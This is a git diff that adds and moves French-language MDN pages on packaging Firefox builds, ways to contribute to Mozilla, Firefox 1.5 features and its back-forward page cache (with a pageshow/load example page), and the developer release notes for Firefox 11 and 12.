Pour les compilations du tronc, vous pouvez simplement exécuter make package dans votre répertoire objet pour créer une compilation empaquetée. Ceci créera un fichier zip ou tar.gz dans objdir/dist que vous pourrez ensuite décompresser n'importe où. Pour compiler un installeur Windows, utilisez simplement make installer dans votre répertoire objet.

+ +

Pour la branche 1.8 (Firefox 2)

+ +

Pour la plupart des applications, préparez un tarball/zip de votre application en faisant dans un répertoire spécifique à l'application :

+ +
    +
  • Firefox : $ make -C objdir/browser/installer
    • +
  • Thunderbird : $ make -C objdir/mail/installer
    • +
  • SeaMonkey : $ make -C objdir/xpinstall/packager
    • +
+ +

Pour créer un installeur Windows, lancez make avec le target « installer » dans le répertoire évoqué plus haut:

+ +
    +
  • Firefox : $ make -C objdir/browser/installer installer
    • +
  • Thunderbird : $ make -C objdir/mail/installer installer
    • +
  • SeaMonkey : $ make -C objdir/xpinstall/packager installer
    • +
+ +

{{ Note("Pour réaliser l\'installeur fortement compressé utilisé par Firefox et Thunderbird avec un système de compilation basé sur Cygwin, vous devrez installer quelques programmes additionnels :") }}

+ +
    +
  • 7-zip
    • +
  • UPX (pour les utilisateurs de Windows : ce programme est disponible dans l'installation de Cygwin, vous pouvez l'installer à partir de là (catégorie Utils). N'utilisez pas la version DOS, elle ne fonctionnera pas)
    • +
+ +

Ces deux utilitaires doivent être accessibles depuis le PATH. De plus, la variable MOZ_INSTALLER_USE_7ZIP doit être définie dans votre environnement. Si vous utilisez le système de compilation MozillaBuild, 7-Zip et UPX seront installés automatiquement.

diff --git a/files/fr/mozilla/developer_guide/introduction/index.html b/files/fr/mozilla/developer_guide/introduction/index.html new file mode 100644 index 0000000000..a8a6f99467 --- /dev/null +++ b/files/fr/mozilla/developer_guide/introduction/index.html @@ -0,0 +1,24 @@ +--- +title: Introduction (alternative) +slug: Introduction_(alternative) +translation_of: Mozilla/Developer_guide/Introduction +translation_of_original: Introduction_(alternate) +--- +

Bien que Firefox soit largement écrit en C++, il existe de très nombreuses manière de contribuer sans connaître C++.

+

Firefox/Thunderbird/etc.

+

Malgré que Firefox (et les autres produits Mozilla qui sont construits depuis la base de code Mozilla) sont écrits en C++, il y a de nombreux composants écrits dans d'autres languages :

+
    +
  • La façade, et beaucoup de fonctions sont écrites en HTML, CSS et JavaScript.
    • +
  • Le système de compilation est écrit en Make, shell et des éléments de Perl et Python.
    • +
  • Certains composants et librairies tierces (comme jemalloc par exemple) sont écrits en C, et non pas en C++.
    • +
  • De nombreux outils (comme les structures de tests) que nous utilisons sont écrits en Python et dans d'autres languages de haut niveau. Il y a de nombreuses choses que nous souhaiterions faire dans ce cadre mais qu'il est difficile de faire passer avant les fonctionnalités. Toutefois, nous aimerions réellement réaliser ces choses.
    • +
+

Pour trouver du travail sur ces bogues, suivez le guide principal. Presque toutes les étapes sont identiques, y compris comment trouver des bogues adaptés pour commencer et le système d'encadrement.

+

Sites Web

+

Mozilla possède plus d'une centaine d'outils et de sites, qui sont presque tous open-source. Nous avons un guide pour débuter avec les sites Web majeurs de Mozilla, ainsi qu'une liste presque à jour des projets de développement Web dans lesquels Mozilla est impliqué, et nous souhaitons améliorer cette liste bientôt. Utilisez cette liste pour trouver un projet qui vous intéresse, et savoir comment vous y impliquer.

+

Projets Github

+

La page github de Mozilla compte plus de 100 projets auxquels vous pouvez contribuer. Ces projets sont développés en utilisant les pratiques courantes de GitHub, donc faites votre branche et au boulot. Nous attendons vos demandes d'intégration ! Parmis ces projets, il y a beaucoup de projets à forte visibilité comme Jetpack, Chromeless, F1 et de nombreux autres.

+

Dépôts Mercurial de Mozilla

+

De nombreux projets Mozilla ont leur propre dépôt à hg.mozilla.org. Cela montre la hiérarchie entre les projets de Mozilla, ainsi que ceux qui sont maintenus (tous ne le sont pas). Parmis eux, il y a des zones critiques de Mozilla comme QA, RelEng, la localisation, webtools, les dépôts des développeurs majeurs, et plus.

+

D'autres manières de s'engager

+

Il existe beaucoup d'autres manières de contribuer à la mission de Mozilla sans programmer. Si vous souhaitez vous diriger vers le design, l'aide, la traduction, les tests ou d'autres types de contributions, rendez vous sur la page dédiées au volontariat.

diff --git a/files/fr/mozilla/developer_guide/so_you_just_built_firefox/index.html b/files/fr/mozilla/developer_guide/so_you_just_built_firefox/index.html new file mode 100644 index 0000000000..31e260de0a --- /dev/null +++ b/files/fr/mozilla/developer_guide/so_you_just_built_firefox/index.html @@ -0,0 +1,10 @@ +--- +title: Vous venez juste de compiler Firefox +slug: Mozilla/Developer_guide/Vous_venez_juste_de_compiler_Firefox +translation_of: Mozilla/Developer_guide/So_you_just_built_Firefox +--- +

Un lien vers cette page sera affiché après que vous ayez compilé Firefox, avec succès. Elle contient des informations sur les étapes à suivre, avec des liens pour lancer les tests, packager votre executable, etc. Pour le contenu, essayez d'être bref, et d'afficher des liens vers les pages que vous pensez utiles. Votre audience est composée de personnes qui viennent de compiler Firefox, pour la première fois.

+

Voici quelques liens qui pourraient vous servir :

+

Lancer les tests

+

Debugger

+

Rapporter un bug

diff --git a/files/fr/mozilla/developer_guide/vous_venez_juste_de_compiler_firefox/index.html b/files/fr/mozilla/developer_guide/vous_venez_juste_de_compiler_firefox/index.html deleted file mode 100644 index 31e260de0a..0000000000 --- a/files/fr/mozilla/developer_guide/vous_venez_juste_de_compiler_firefox/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: Vous venez juste de compiler Firefox -slug: Mozilla/Developer_guide/Vous_venez_juste_de_compiler_Firefox -translation_of: Mozilla/Developer_guide/So_you_just_built_Firefox ---- -

Un lien vers cette page sera affiché après que vous ayez compilé Firefox, avec succès. Elle contient des informations sur les étapes à suivre, avec des liens pour lancer les tests, packager votre executable, etc. Pour le contenu, essayez d'être bref, et d'afficher des liens vers les pages que vous pensez utiles. Votre audience est composée de personnes qui viennent de compiler Firefox, pour la première fois.

-

Voici quelques liens qui pourraient vous servir :

-

Lancer les tests

-

Debugger

-

Rapporter un bug

diff --git a/files/fr/mozilla/firefox/releases/1.5/adapting_xul_applications_for_firefox_1.5/index.html b/files/fr/mozilla/firefox/releases/1.5/adapting_xul_applications_for_firefox_1.5/index.html new file mode 100644 index 0000000000..8702ac2824 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/1.5/adapting_xul_applications_for_firefox_1.5/index.html @@ -0,0 +1,33 @@ +--- +title: Adaptation des applications XUL pour Firefox 1.5 +slug: Adaptation_des_applications_XUL_pour_Firefox_1.5 +tags: + - Extensions + - XUL +translation_of: Mozilla/Firefox/Releases/1.5/Adapting_XUL_Applications_for_Firefox_1.5 +--- +
{{FirefoxSidebar}}

 

+ +

Cette page contient une liste des modifications de Firefox 1.5 qui concernent les développeurs XUL.

+ +

Modifications spécifiques

+ + + +

Autres informations

+ + + +

{{ languages( { "en": "en/Adapting_XUL_Applications_for_Firefox_1.5", "it": "it/Adattare_le_applicazioni_XUL_a_Firefox_1.5", "ja": "ja/Adapting_XUL_Applications_for_Firefox_1.5", "pl": "pl/Dostosowanie_aplikacji_XUL_do_Firefoksa_1.5" } ) }}

diff --git a/files/fr/mozilla/firefox/releases/1.5/index.html b/files/fr/mozilla/firefox/releases/1.5/index.html new file mode 100644 index 0000000000..84f17d122f --- /dev/null +++ b/files/fr/mozilla/firefox/releases/1.5/index.html @@ -0,0 +1,125 @@ +--- +title: Firefox 1.5 pour les développeurs +slug: Mozilla/Firefox/Versions/1.5 +tags: + - Firefox + - Firefox 1.5 +translation_of: Mozilla/Firefox/Releases/1.5 +--- +
{{FirefoxSidebar}}

Firefox 1.5, basé sur le moteur Gecko 1.8, améliore son support des standards déjà de premier ordre et fournit de nouvelles opportunités de créer la prochaine génération d'applications Web. Firefox 1.5 propose un support amélioré de CSS2 et CSS3, des API pour des graphiques 2D scriptables et programmables grâce à SVG 1.1 et <canvas>, les évènements XForms et XML, ainsi que de nombreuses améliorations du DHTML, du JavaScript et du DOM.

+ +

Outils pour développeurs

+ +

Plusieurs outils et extensions sont disponibles pour aider les développeurs à travailler avec Firefox 1.5.

+ + + +

Note : Certaines extensions ne sont pas encore supportées par Firefox 1.5 et seront automatiquement désactivées.

+ +

Fonctionnalités

+ +

Voici certaines des nouvelles fonctionnalités de Firefox 1.5 :

+ +

Site Web et développeurs d'applications

+ +
+
Introduction à SVG dans HTML
+
Apprenez à utiliser le SVG dans des pages XHTML et comment JavaScript et CSS sont utilisés pour manipuler une image comme vous le feriez avec le XHTML dans un script. Voir également SVG dans Firefox pour connaître l'état et les problèmes connus de l'implémentation du SVG dans la version 1.5.
+
+ +
+
Dessiner avec canvas
+
Apprenez à utiliser la nouvelle balise <canvas> et comment dessiner des graphiques et d'autres objets dans Firefox.
+
+ +
+
Colonnes CSS3
+
Apprenez à utiliser le nouveau support de mise en page multi-colonnes automatiques comme proposé par CSS3.
+
+ +
+
Utilisation du cache de Firefox 1.5
+
Découvrez bfcache et comment il accélère la navigation en arrière et en avant.
+
+ +

XUL et développeurs d'extension

+ +
+
Construire une extension
+
Ce tutoriel vous guidera par étape dans la création d'une extension très simple pour Firefox. Consultez également un autre tutoriel sur la base de connaissance de MozillaZine qui montre comment il est encore plus simple de créer une nouvelle extension avec les nouvelles fonctionnalités du gestionnaire d'extensions dans 1.5.
+
+ +
+
XPCNativeWrapper
+
XPCNativeWrapper est un moyen pour empaqueter un objet afin qu'il puisse accéder à des privilèges chrome. Il peut être utilisé dans toutes les versions de Firefox bien que son comportement soit sensiblement différent au lancement de Firefox 1.5 (Gecko 1.8).
+
+ +
+
Système de préférences
+
Apprenez à utiliser les nouveaux composants graphiques qui vous permettront de créer des fenêtres d'options plus facilement en utilisant moins de code JavaScript.
+
+ +
+
Caractères internationaux dans du JavaScript XUL
+
Les fichiers JavaScript XUL peuvent maintenant contenir des caractères non-ASCII.
+
+ +
+
Modifications de l'API Tree
+
Les interfaces pour accéder aux éléments XUL <tree> ont été modifiées.
+
+ +
+
Modifications XUL pour Firefox 1.5
+
Résumé des modifications du XUL. Consultez également Adaptation des applications XUL pour Firefox 1.5.
+
+ +

Nouvelles fonctionnalités pour l'utilisateur

+ +

Utilisation courante

+ +
    +
  • Navigation plus rapide avec une performance accrue des boutons permettant de reculer ou d'avancer d'une page.
    • +
  • Réorganisation des onglets par glisser-déposer.
    • +
  • Le dictionnaire MediaDICO a été ajouté à la liste des moteurs de recherche.
    • +
  • Une meilleure prise en main avec des pages d'erreur descriptives, un menu d'options redessiné, la découverte automatique des fils RSS et un « mode sans échec » plus facile à utiliser.
    • +
  • Meilleur support de l'accessibilité, notamment pour les pages DHTML.
    • +
  • Assistant pour les sites Web non fonctionnels pour rapporter les sites Web qui ne fonctionnent pas avec Firefox.
    • +
  • Meilleur support de Mac OS X (10.2 et supérieur), avec la migration des profils de Safari et d'Internet Explorer pour Mac.
    • +
+ +

Sécurité et vie privée

+ +
    +
  • Mises à jour automatiques pour rationaliser les mises à niveau du navigateur. La notification d'une mise à jour est plus visible et les mises à jour de Firefox n'excèdent plus le demi méga-octet. La mise à jour des extensions a également été améliorée.
    • +
  • Améliorations du système de blocage de l'ouverture intempestive de fenêtres (popups).
    • +
  • La fonctionnalité d'effacement des traces offre un accès simplifié et rapide pour supprimer toutes vos données personnelles via un menu ou un raccourci clavier.
    • +
+ +

Support des standards Web ouverts

+ +

Le support des standards Web de Firefox garde une longueur d'avance avec des implémentations fonctionnelles et multiplateformes pour :

+ + + +

Firefox 1.5 supporte un bon nombre de protocoles de transport de données (HTTP, FTP, SSL, TLS et d'autres), les caractères multi-langages (Unicode), plusieurs formats graphiques (GIF, JPEG, PNG, SVG et d'autres) et la dernière version du langage de script le plus populaire au monde, JavaScript 1.6.

+ +

Changements depuis Firefox 1.0

+ +

De nombreux changements ont été introduits dans Firefox depuis sa première sortie le 9 novembre 2004. Firefox a progressé avec beaucoup de nouvelles fonctions et de corrections de bogues. Une liste détaillée des modifications est disponible sur squarefree.com.

diff --git a/files/fr/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.html b/files/fr/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.html new file mode 100644 index 0000000000..b88ec3bfcd --- /dev/null +++ b/files/fr/mozilla/firefox/releases/1.5/using_firefox_1.5_caching/index.html @@ -0,0 +1,195 @@ +--- +title: Utilisation du cache de Firefox 1.5 +slug: Utilisation_du_cache_de_Firefox_1.5 +tags: + - DOM + - Développement_Web + - Extensions + - HTML + - JavaScript +translation_of: Mozilla/Firefox/Releases/1.5/Using_Firefox_1.5_caching +--- +
{{FirefoxSidebar}}

 

+ +

Introduction

+ +

Firefox 1.5 met en mémoire cache des pages Web entières, avec leurs états JavaScript, pour une même session de navigation. Revenir ou avancer entre des pages déjà visitées ne nécessite aucun chargement de page et les états JavaScript sont préservés. Cette fonctionnalité parfois appelée bfcache (pour « Back-Forward Cache ») rend la navigation très rapide. Ce cache est préservé en mémoire jusqu'à ce que l'utilisateur ferme le navigateur.

+ +

Il existe des cas où Firefox ne met pas en cache les pages. Vous trouverez ci-dessous certaines raisons classiques de programmation faisant qu'une page n'est pas mise en cache :

+ +
    +
  • La page utilise un gestionnaire unload
    • +
  • La page définit « cache-control: no-store »
    • +
  • La page définit « cache-control: no-cache » et le site est sécurisé par HTTPS
    • +
  • La page n'est pas complètement chargée quand l'utilisateur la quitte pour en charger une autre
    • +
  • La page de niveau supérieur de la page contient des cadres qui ne peuvent pas être mis en cache
    • +
  • La page est dans un cadre et l'utilisateur charge une nouvelle page dans ce cadre (dans ce cas, lorsque l'utilisateur navigue vers une autre page, le dernier contenu chargé dans les cadres est celui mis en cache)
    • +
+ +

Cette nouvelle fonctionnalité de mise en cache modifie le comportement du chargement des pages, et les webmestres peuvent désirer :

+ +
    +
  • savoir qu'une page a été accédée (lorsqu'elle est chargée depuis le cache de l'utilisateur)
    • +
  • définir le comportement d'une page lorsque l'utilisateur la quitte (tout en lui permettant d'être mise en cache)
    • +
+ +

Le navigateur offre aux webmestres deux nouveaux évènements pour cela.

+ +

Nouveaux évènements du navigateur

+ +

Si vous utilisez ces nouveaux évènements, vos pages continueront à s'afficher correctement dans les autres navigateurs (nous avons testé des versions antérieures de Firefox, Internet Explorer, Opera et Safari), et elles utiliseront ces nouvelles fonctionnalités de mise en cache lors de leur chargement dans Firefox 1.5.

+ +

Le comportement standard des pages Web est :

+ +
    +
  1. L'utilisateur accède à une page.
    2. +
  2. Au cours du chargement de la page, les scripts contenus dans la page (inline) s'exécutent.
    3. +
  3. Dès que la page est chargée, le gestionnaire onload est invoqué.
    4. +
+ +

Certaines pages comprennent une quatrième étape. Ce sont celles qui utilisent un gestionnaire unload se déclenchant lorsque l'utilisateur quitte la page pour en charger une autre. Si un gestionnaire unload est présent, la page ne sera pas mise en cache.

+ +

Lorsqu'un utilisateur navigue vers une page mise en cache, les scripts en-ligne et le gestionnaire onload ne sont pas exécutés (étape 2 et 3) puisque dans la plupart des cas les effets de ces scripts ont été préservés.

+ +

Si la page contient des scripts ou d'autres actions déclenchées au chargement qui doivent continuer à s'exécuter lorsque l'utilisateur affiche la page, ou si vous voulez savoir si un utilisateur a consulté une page en cache, utilisez le nouvel évènement pageshow.

+ +

Si vous avez des actions devant s'exécuter lorsque l'utilisateur quitte une page, mais désirez profiter de la nouvelle fonctionnalité de mise en cache, donc sans pouvoir employer le gestionnaire unload, utilisez le nouvel évènement pagehide.

+ +

L'évènement pageshow

+ +

Cet évènement fonctionne comme l'évènement load, sauf qu'il se déclenche à chaque fois que la page est chargée (tandis que l'évènement load ne se déclenche pas avec Firefox 1.5 pour une page chargée depuis le cache). La première fois qu'une page se charge, l'évènement pageshow se déclenche juste après l'évènement load. L'évènement pageshow utilise une propriété booléenne persisted définie à false lors du chargement initial. Elle est définie à true s'il ne s'agit pas du chargement initial de la page (en d'autres termes, elle est définie à true pour une page chargée depuis le cache).

+ +

Définissez tous vos scripts JavaScript que vous voulez voir exécutés à chaque fois qu'une page se charge grâce à l'évènement pageshow.

+ +

Si vous appelez des fonctions JavaScript comme faisant partie de l'évènement pageshow, vous pouvez vous assurer qu'elles soient appelées lorsque la page est chargée dans d'autres navigateurs que Firefox 1.5 en appelant l'évènement pageshow depuis l'évènement load, comme indiqué dans l'exemple plus bas dans cet article.

+ +

L'évènement pagehide

+ +

Si vous désirez définir un comportement se produisant lorsque l'utilisateur quitte la page, mais ne voulez pas utiliser l'évènement unload (ce qui empêcherait la page d'être mise en cache), vous pouvez utiliser le nouvel évènement pagehide. Comme pageshow, l'évènement pagehide utilise une propriété booléenne appelée persisted. Cette propriété est définie à true si la page est mise en cache par le navigateur. Lorsque cette propriété est définie à false, le gestionnaire unload, s'il existe, se déclenche immédiatement après l'évènement pagehide.

+ +

Firefox 1.5 essaie de simuler les évènements de chargement dans le même ordre de déroulement que lorsque la page est chargée initialement. Les cadres sont traités de la même façon que le document principal. Si la page contient des cadres, cela signifie que lorsque la page mise en cache est chargée :

+ +
    +
  • les évènements pageshow de chaque cadre se déclenchent avant l'évènement pageshow du document principal.
    • +
  • lorsque l'utilisateur quitte la page mise en cache, l'évènement pagehide de chaque cadre se déclenche avant l'évènement pagehide du document principal.
    • +
  • pour la navigation se déroulant à l'intérieur d'un seul cadre, les évènements se déclenchent uniquement dans le cadre affecté.
    • +
+ +

Exemple de code

+ +

L'exemple ci-dessous illustre une page utilisant à la fois les évènements load et pageshow. La page se comporte de la façon suivante :

+ +
    +
  • Dans les autres navigateurs que Firefox 1.5, voici ce qui se produit à chaque chargement de la page : l'évènement load déclenche la fonction onLoad, qui appelle la fonction onPageShow (ainsi qu'une autre fonction).
    • +
+ +
    +
  • Dans Firefox 1.5, la première fois que la page est chargée, l'évènement load s'opère de la même façon que dans les autres navigateurs. De plus l'évènement pageshow se déclenche, et comme persisted est égal à false, rien d'autre ne se produit.
    • +
+ +
    +
  • Dans Firefox 1.5, lorsque la page est chargée depuis le cache, seul l'évènement pageshow se déclenche. Comme persisted est égal à true, seules les actions JavaScript de la fonction onPageShow sont effectuées.
    • +
+ +

Dans cet exemple :

+ +
    +
  • La page calcule et affiche la date et l'heure courantes à chaque chargement de la page. Ce calcul prend en compte les secondes et millisecondes afin que la fonctionnalité puisse être testée facilement.
    • +
  • Le curseur est placé dans le champ Nom du formulaire au premier chargement de la page. Dans Firefox 1.5, lorsque l'utilisateur revient sur la page, le curseur reste dans le champ dans lequel il se trouvait lorsqu'il l'a quittée. Dans les autres navigateurs, le curseur retourne dans le champ Nom.
    • +
+ +
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+   "http://www.w3.org/TR/html4/loose.dtd">
+<HTML>
+<head>
+<title>Commande : Exemple de Firefox 1.5</title>
+<style type="text/css">
+body, p {
+	font-family: Verdana, sans-serif;
+	font-size: 12px;
+   	}
+</style>
+<script type="text/javascript">
+function onLoad() {
+	loadOnlyFirst();
+	onPageShow();
+}
+
+function onPageShow() {
+// calcule la date et l'heure courantes
+	var currentTime = new Date();
+	var year = currentTime.getFullYear();
+	var month = currentTime.getMonth()+1;
+	var day = currentTime.getDate();
+	var hour = currentTime.getHours();
+	var min = currentTime.getMinutes();
+	var sec = currentTime.getSeconds();
+	var mil = currentTime.getMilliseconds();
+	var displayTime = (day + "/" + month + "/" + year + " " +
+		hour + ":" + min + ":" + sec + ":" + mil);
+	document.getElementById("timefield").value = displayTime;
+}
+
+function loadOnlyFirst() {
+	document.zipForm.name.focus();
+}
+</script>
+</head>
+<body onload="onLoad();" onpageshow="if (event.persisted) onPageShow();">
+<h2>Commande</h2>
+
+<form name="zipForm" action="http://www.example.com/formresult.html" method="get">
+<label for="timefield">Date et heure :</label>
+<input type="text" id="timefield"><br>
+<label for="name">Nom :</label>
+<input type="text" id="name"><br>
+<label for="address">Adresse e-mail :</label>
+<input type="text" id="address"><br>
+<label for="order">Numéro de commande :</label>
+<input type="text" id="order"><br>
+<input type="submit" name="submit" value="Soumettre la requête">
+</form>
+</body>
+</html>
+
+ +

En revanche, si la page ci-dessus n'avait pas écouté l'évènement pageshow et gérait tous les calculs au sein de l'évènement load (et était codée à la place comme dans l'exemple de code ci-dessous), la position du curseur et l'heure auraient été mis en cache par Firefox 1.5 lorsque l'utilisateur aurait quitté la page. Lors de son retour, ce seraient la date et l'heure mises en cache qui auraient été affichées.

+ +
<script>
+function onLoad() {
+	loadOnlyFirst();
+
+// calcule la date et l'heure courante
+	var currentTime = new Date();
+	var year = currentTime.getFullYear();
+	var month = currentTime.getMonth()+1;
+	var day = currentTime.getDate();
+	var hour = currentTime.getHours();
+	var min = currentTime.getMinutes();
+	var sec = currentTime.getSeconds();
+	var mil = currentTime.getMilliseconds();
+	var displayTime = (day + "/" + month + "/" + year + " " +
+		hour + ":" + min + ":" + sec + ":" + mil);
+	document.getElementById("timefield").value = displayTime;
+}
+
+function loadOnlyFirst() {
+	document.zipForm.name.focus();
+}
+</script>
+</head>
+
+<body onload="onLoad();">
+
+ +

Développement d'extensions pour Firefox

+ +

Les extensions pour Firefox 1.5 doivent prendre en compte cette fonctionnalité de mise en cache. Si vous développez une extension pour Firefox et que vous désirez qu'elle soit compatible à la fois avec la 1.5 et les versions antérieures, assurez-vous qu'elle écoute l'évènement load pour les déclencheurs qui peuvent être mis en cache et écoute l'évènement pageshow pour les déclencheurs qui ne doivent pas être mis en cache.

+ +

Par exemple, la Barre d'outils Google pour Firefox doit écouter l'évènement load pour la fonction de liens automatiques et l'évènement pageshow pour la fonction PageRank afin d'être compatible à la fois avec la version 1.5 et les versions antérieures.

+ +

Catégories

+ +

Interwiki

+ +

{{ languages( { "de": "de/Benutzen_des_Zwischenspeichers_in_Firefox_1.5_(caching)", "en": "en/Using_Firefox_1.5_caching", "it": "it/Usare_il_caching_di_Firefox_1.5", "ja": "ja/Using_Firefox_1.5_caching" } ) }}

diff --git a/files/fr/mozilla/firefox/releases/11/index.html b/files/fr/mozilla/firefox/releases/11/index.html new file mode 100644 index 0000000000..bc1d161fbd --- /dev/null +++ b/files/fr/mozilla/firefox/releases/11/index.html @@ -0,0 +1,144 @@ +--- +title: Firefox 11 pour les développeurs +slug: Mozilla/Firefox/Versions/11 +tags: + - Firefox + - Firefox 11 +translation_of: Mozilla/Firefox/Releases/11 +--- +
{{FirefoxSidebar}}

Firefox 11, basé sur Gecko 11.0, est sorti le 13 mars 2012. Cet article fournit des informations sur les nouvelles fonctionnalités et les principaux bugs corrigés, ainsi que des liens vers une documentation plus détaillée pour les développeurs web et d'extensions.

+ +

Changements pour les développeurs Web

+ +

HTML

+ +
    +
  • Les attributs muted et loop pour les éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}} ont été implémentés.
    • +
+ +

DOM

+ +
    +
  • La propriété {{domxref("element.outerHTML")}} supporte maintenant les éléments HTML.
    • +
  • XMLHttpRequest supporte l'analyse HTML.
    • +
  • Suppression du support des attributs responseType et withCredentials {{domxref("XMLHttpRequest")}} lors de requêtes synchrones. Si vous tentez de le faire l'exception NS_ERROR_DOM_INVALID_ACCESS_ERR est envoyée. Ce changement a été proposé au W3C pour être normalisé.
    • +
  • la nouvelle méthode {{domxref("window.navigator.mozVibrate()")}} vous permet de faire vibrer le périphérique supporté, c'est implémenté dans Gecko en tant que mozVibrate().
    • +
  • {{domxref("window.navigator.mozApps")}} retourne un objet Apps, vous pouvez l'utiliser pour installer et gérer des applications Web ouvertes.
    • +
  • Les évènements MozBeforePaint ne sont plus exploités. Ceux qui ont utilisé {{domxref("window.requestAnimationFrame", "mozRequestAnimationFrame()")}} devraient transmettre une fonction de rappel à la place.
    • +
  • La prise en charge de l'annulation des demandes d'animation de trame a été ajouté, {{domxref("window.requestAnimationFrame", "window.mozRequestAnimationFrame()")}} retourne désormais la valeur ID de la demande, que vous pouvez passer à {{domxref("window.cancelAnimationFrame", "window.mozCancelAnimationFrame()")}} pour annuler la demande.
    • +
  • Plusieurs constructeurs {{domxref("Event")}} (Event, HTML events, UIEvent et MouseEvent) introduits dans les spécifications DOM4 sont à présent supportés.
    • +
  • {{domxref("window.navigator.mozBattery", "Battery API")}} est désormais activée par défaut.
    • +
  • Le support des propriétés defaultMuted, loop et muted de HTMLMediaElement a été ajouté.
    • +
  • L'appel {{domxref("document.mozCancelFullScreen()")}} restaure à présent l'élément précédemment en plein-écran, si un autre élément était en mode plein-écran lorsque la méthode {{domxref("element.mozRequestFullScreen()")}} a été appelée.
    • +
  • La méthode {{domxref("window.requestAnimationFrame", "window.mozRequestAnimationFrame()")}} ne supporte plus une forme sans argument. Cela n'est pas beaucoup utilisé et il est peu probable que ça fasse partie de la norme.
    • +
  • Les images SVG peuvent à présent être dessinées dans un canvas sans entacher le canvas.
    • +
  • La propriété non-standard countryCode de l'interface GeoPositionAddress a été supprimée, voir {{interface("nsIDOMGeoPositionAddress")}}.
    • +
  • Les évènements Server-sent supportent désormais CORS.
    • +
  • Dans le passé, lorsque l'utilisateur suivait un lien, les valeurs définies sur l'objet {{domxref("window.navigator")}} été retenus par la nouvelle page. Maintenant un nouvel objet navigator est crée pour la nouvelle page. Cela rend le comportement de Firefox identique aux autres navigateurs.
    • +
+ +

CSS

+ + + +

SVG

+ +
    +
  • L'interface DOM {{domxref("SVGSVGElement")}} supporte désormais la méthode getElementById.
    • +
+ +

WebSocket

+ +
    +
  • L'API WebSocket supporte désormais les messages binaires (voir {{bug("676439")}}).
    • +
  • Le protocole et l'API ont été mis à jour suivant la dernière version de la spécification et l'API n'a plus de préfixe (voir {{bug("666349")}} et {{bug("695635")}}).
    • +
  • Auparavant, les messages envoyés et reçus à l'aide de WebSockets dans Firefox été limités à 16 Mo en taille, désormais ils peuvent aller jusqu'à 2 Go (bien que les limitations de capacité de mémoire peut les empêcher d'être plus grand, Firefox le supporte).
    • +
+ +

IndexedDB

+ +
    +
  • Le support de IDBFactory.cmp() a été ajouté.
    • +
  • Une clé IndexedDB peut également être de l'un des types suivants : Date, Arrays et Float (et pas seulement String et Integer).
    • +
+ +

Réseau

+ +
    +
  • La modification dans Firefox 8 concernant la suppression des guillemets comme délimiteurs pour {{rfc(2231)}} et {{rfc(5987)}} a été annulée, car cela a cassé certains sites, y compris Outlook Web Access.
    • +
+ +

Outils de développement

+ + + +

Changements pour les développeurs de Mozilla et de modules complémentaires

+ +

Module de code JavaScript

+ +

NetUtil.jsm

+ +
    +
  • readInputStreamToString() a un nouveau paramètre (optionnel) à configurer pour l'interprétation du jeu de caractères lors de la lecture du flux d'entrée.
    • +
+ +

Nouveau module de code JavaScript

+ +
+
source-editor.jsm
+
Offre un moyen pratique facile d'éditeur de code source que vous pouvez utiliser dans vos add-ons. C'est le même éditeur utilisé par l'Ardoise et les autres outils de développement intégrés dans Firefox.
+
+ +

Changements dans les interfaces

+ +
    +
  • L'interface {{interface("mozIAsyncHistory")}} a une nouvelle méthode {{ifmethod("mozIAsyncHistory","isURIVisited")}} pour vérifier si une URI a été visitée.
    • +
  • Une nouvelle interface {{interface("mozIVisitStatusCallback")}} a été ajoutée pour fournir une fonctionnalité de traitement des rappels pour {{ifmethod("mozIAsyncHistory","isURIVisited")}}.
    • +
  • L'interface {{interface("nsIMacDockSupport")}} interface now supports adding a text badge to the application's icon in the Dock using its new badgeText attribute.
    • +
  • Dans l'interface {{interface("nsINavHistoryResultObserver")}}, vous devez à présent implémenter {{ifmethod("nsINavHistoryResultObserver", "containerStateChanged")}} au lieu des anciennes méthodes containerOpened() et containerClosed().
    • +
+ +

Interface supprimées

+ +

Les interfaces suivantes ont été supprimées car elles n'étaient plus indispensables :

+ +
    +
  • {{interface("nsICharsetResolver")}}
    • +
  • {{interface("nsIDOMNSElement")}}, voir {{bug("707576")}} ; utilisez {{interface("nsIDOMElement")}} à la place.
    • +
+ +

Changement lié au thème

+ +
    +
  • Le fichier omni.jar se nomme désormais omni.ja.
    • +
+ +

Changement dans les préférences

+ +
+
{{Pref("ui.tooltipDelay")}}
+
Définit le délai, en millisecondes, entre le moment où le curseur de la souris s'arrête et l'affichage d'une info-bulle.
+
+ +

Changement dans le système de compilation

+ +
    +
  • L'option de compilation --enable-tracejit a été supprimée.
    • +
+ +

Autre changement

+ +
    +
  • Les extensions qui n'ont pas été mises à jour depuis longtemps sont supposées ne plus être compatible par défaut, ce qui concerne actuellement les add-ons qui indiquent 4.0 pour maxVersion.
    • +
+ +

Voir également

+ +

{{Firefox_for_developers('10')}}

diff --git a/files/fr/mozilla/firefox/releases/12/index.html b/files/fr/mozilla/firefox/releases/12/index.html new file mode 100644 index 0000000000..dbb7811cb7 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/12/index.html @@ -0,0 +1,162 @@ +--- +title: Firefox 12 pour les développeurs +slug: Mozilla/Firefox/Versions/12 +tags: + - Firefox + - Firefox 12 +translation_of: Mozilla/Firefox/Releases/12 +--- +
{{FirefoxSidebar}}
+ +

Firefox 12, basé sur Gecko 12.0, est sorti le 24 avril 2012. Cette page résume les principaux changements dans Firefox 12 qui sont utiles aux développeurs.

+ +

Changements pour les développeurs Web

+ +

HTML

+ +
    +
  • L'attribut title supporte désormais les caractères de saut de ligne pour permettre des multi-lignes dans les info-bulles.
    • +
  • Si JavaScript est désactivé, l'élément {{HTMLElement("canvas")}} était rendu au lieu d'afficher le contenu de secours selon la spécification. Désormais, c'est le contenu de secours qui est rendu.
    • +
  • L'attribut crossorigin est à présent supporté par {{HTMLElement("video")}}.
    • +
+ +

CSS

+ +
    +
  • Le support de la propriété {{cssxref("text-align-last")}} a été ajouté (prefixée).
    • +
+ +

JavaScript

+ +
    +
  • Le support des variables sharp (extension non-standard de Netscape) a été abandonné.
    • +
+ +

DOM

+ +
    +
  • {{domxref("DOMParser")}} supporte désormais l'analyse de fragments de documents HTML.
    • +
